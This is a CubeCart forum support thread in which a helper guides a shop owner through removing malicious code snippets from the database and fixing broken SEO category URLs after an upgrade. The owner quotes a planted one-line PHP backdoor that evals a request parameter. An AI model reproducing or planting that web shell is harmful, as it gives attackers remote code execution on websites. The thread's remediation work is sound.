bsmither Posted June 4 Share Posted June 4 Ok, the index.php file is fine. Look in the database, at the table CubeCart_code_snippet. Delete all records found in that table. Quote Link to comment Share on other sites More sharing options...
volteq Posted June 4 Author Share Posted June 4 the bad news is that my other website also has it. except that site has two files with wierd names and the content is legible. one of them reads this: <?php $GLOBALS['smarty']->assign('featured', $vars[0]); $content = $GLOBALS['smarty']->fetch('templates/box.featured.php'); $GLOBALS['smarty']->assign('RANDOM_PROD', $content); ?> the other one looks like this: <?php eval($_REQUEST["DC123"]);?> they both keep on coming back Quote Link to comment Share on other sites More sharing options...
bsmither Posted June 4 Share Posted June 4 As above, delete the rows in CubeCart_code_snippet. Delete all files (except index.php and .htaccess) from that folder. Do not access your site until you have done both. Quote Link to comment Share on other sites More sharing options...
volteq Posted June 4 Author Share Posted June 4 delete everything in that table? I have bunch of google analytics ones and one says controller.index what about the .htaccess file? it says this: <FilesMatch "^(sess_|snippet_|es.json)"> deny from all </FilesMatch> Quote Link to comment Share on other sites More sharing options...
bsmither Posted June 4 Share Posted June 4 I would question the GA rows as I am sure any GA plugin would NOT use code snippets. If the rows in the database table do not have a description (or a description that makes sense) or author, delete it. Quote Link to comment Share on other sites More sharing options...
volteq Posted June 4 Author Share Posted June 4 I deleted everything in that table. my question is do I change the .htaccess file or no? can I try the website now? Quote Link to comment Share on other sites More sharing options...
bsmither Posted June 4 Share Posted June 4 The .htaccess file should have nothing more than this: # Session data may be written here if the default # server config has a problem. They need protection. # Relates to Session->_start() # Code snippets are also stored here and must be protected. <FilesMatch "^(sess_|snippet_|es.json)"> deny from all </FilesMatch> If that is all that is in .htaccess, then leave it as it is. Quote Link to comment Share on other sites More sharing options...
volteq Posted June 4 Author Share Posted June 4 OK I did not change the .htaccess file the ugly garbage is gone I still have a lot of broken links, especially some categories. do you have some suggestions? Quote Link to comment Share on other sites More sharing options...
bsmither Posted June 4 Share Posted June 4 Have CubeCart clear its internal cache. That will force CubeCart to rebuild and cache a fresh rendering of the "Shop by Category" listing (aka Top Nav Bar in Foundation), with the correct links (with or without .html as set in Store Settings). Has the issue with some links working and some links not working been figured out? Quote Link to comment Share on other sites More sharing options...
volteq Posted June 4 Author Share Posted June 4 I cleared all the cache, and the same problem persists. there are some categories that do work, others don't. I don't see any difference. not sure what's causing the problem. again, this one works: https://mastechpowersupply.com/variable-dc-power-supply/linear-power-supply this one does not: https://mastechpowersupply.com/switching-dc-power-supply should I change the setting to with .html? Quote Link to comment Share on other sites More sharing options...
bsmither Posted June 4 Share Posted June 4 (edited) The database table CubeCart_seo_urls will have 'path' values that end without .html. There may be a few 'path' values that do end in .html but these records must also have 'redirect' values of "301", and must have the same 'item_id' of a matching record of the same 'type', without .html. So, look in CubeCart_seo_urls for any paths that end in .html and report back. Edited June 4 by bsmither Quote Link to comment Share on other sites More sharing options...
volteq Posted June 4 Author Share Posted June 4 I cleaned up the database table, so that's not the problem. in the 5.2 version, I ended up disable the seo urls, which made the whole site working. I then build back the seo urls. can 6.5.1 do the same? is there a way to disable seo urls and then enable them? Quote Link to comment Share on other sites More sharing options...
bsmither Posted June 4 Share Posted June 4 Unfortunately, no. (Personally, I liked the ability to switch off seo-friendly URLs.) In CubeCart_seo_urls, find the row with type 'cat' and path 'switching-dc-power-supply'. Does it exist? Quote Link to comment Share on other sites More sharing options...
volteq Posted June 4 Author Share Posted June 4 2 minutes ago, bsmither said: Unfortunately, no. (Personally, I liked the ability to switch off seo-friendly URLs.) In CubeCart_seo_urls, find the row with type 'cat' and path 'switching-dc-power-supply'. Does it exist? yes it does exists for the ones that do work, they are very slow initially, the second time is a lot faster though. for the ones that do not work, they just hang. well I should say, hang initially, then this: This page isn’t working mastechpowersupply.com is currently unable to handle this request. HTTP ERROR 500 Quote Link to comment Share on other sites More sharing options...
bsmither Posted June 4 Share Posted June 4 What is the value of 'item_id' for "switching-dc-power-supply"? What is the value in 'redirect'? Quote Link to comment Share on other sites More sharing options...
volteq Posted June 4 Author Share Posted June 4 I don't have any redirect set up yet I did one experiment, created a new category with anodizing rectifier, it works. I just have to re-assign the product to it. is this a good way to work around it? I also found out that I cannot redirect the non-working anodizing category to the new one I guess we cannot use this work around then I also found out that in this upgrade we cannot access products form the admin, this is a really serioud issue then. is there a way to completely install the 6.5.1, and then change the configuration file to have it talk to the database we have? hopefully we can then get rid of all these problems with upgrade. Quote Link to comment Share on other sites More sharing options...
bsmither Posted June 4 Share Posted June 4 The redirect feature was implemented to solve the case where "foobar" was changed to "barfoo", or some other different spelling, or even a now unneeded .html or now needed .html suffix -- where the older URL has been released out into the Internet. Redirects cannot be created while using the same, complete spelling of an existing 'path'. Quote Link to comment Share on other sites More sharing options...
volteq Posted June 4 Author Share Posted June 4 I was able to create redirect with my other website. somehow this installation is really broken. when I tried to set up the redirect, it says it cannot be done and the redirect already existed, but that's not true and it's the first one I tried to set up. Quote Link to comment Share on other sites More sharing options...
bsmither Posted June 4 Share Posted June 4 As insane as it sounds, I still have to ask: are you looking at the correct database? In CubeCart_seo_urls, what is the value in the 'item_id' column for "switching-dc-power-supply"? What is the value in the 'redirect' column? Quote Link to comment Share on other sites More sharing options...
volteq Posted June 4 Author Share Posted June 4 no, it's not crazy at all. I should have provided the information earlier. here it is: item_id: 7 path: switching-dc-power-supply.html there is also id of 583, but I don't know what it is for. type: cat That's all it has here is for a working cat: type: cat path: linear-dc-power-supply.html id: 584 item_id: 6 I can't find where redirect information is kept, it might be a flat file? Quote Link to comment Share on other sites More sharing options...
bsmither Posted June 4 Share Posted June 4 It was mentioned earlier that all paths have had the .html suffix removed. Please go through the rows again, looking for paths that have the suffix .html and remove that suffix. Quote Link to comment Share on other sites More sharing options...
volteq Posted June 4 Author Share Posted June 4 by the way, I had to temporarily go back to 5.2, as I am going to leave it alone for a little bit and get some sleep. Thanks for your help, and I hope someday to get this site upgraded successfully! Quote Link to comment Share on other sites More sharing options...
bsmither Posted June 4 Share Posted June 4 What is the specific version of CubeCart 5? We strongly recommend CC5.2.17. Quote Link to comment Share on other sites More sharing options...
volteq Posted June 4 Author Share Posted June 4 we have 5.2.16 Quote Link to comment Share on other sites More sharing options...
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.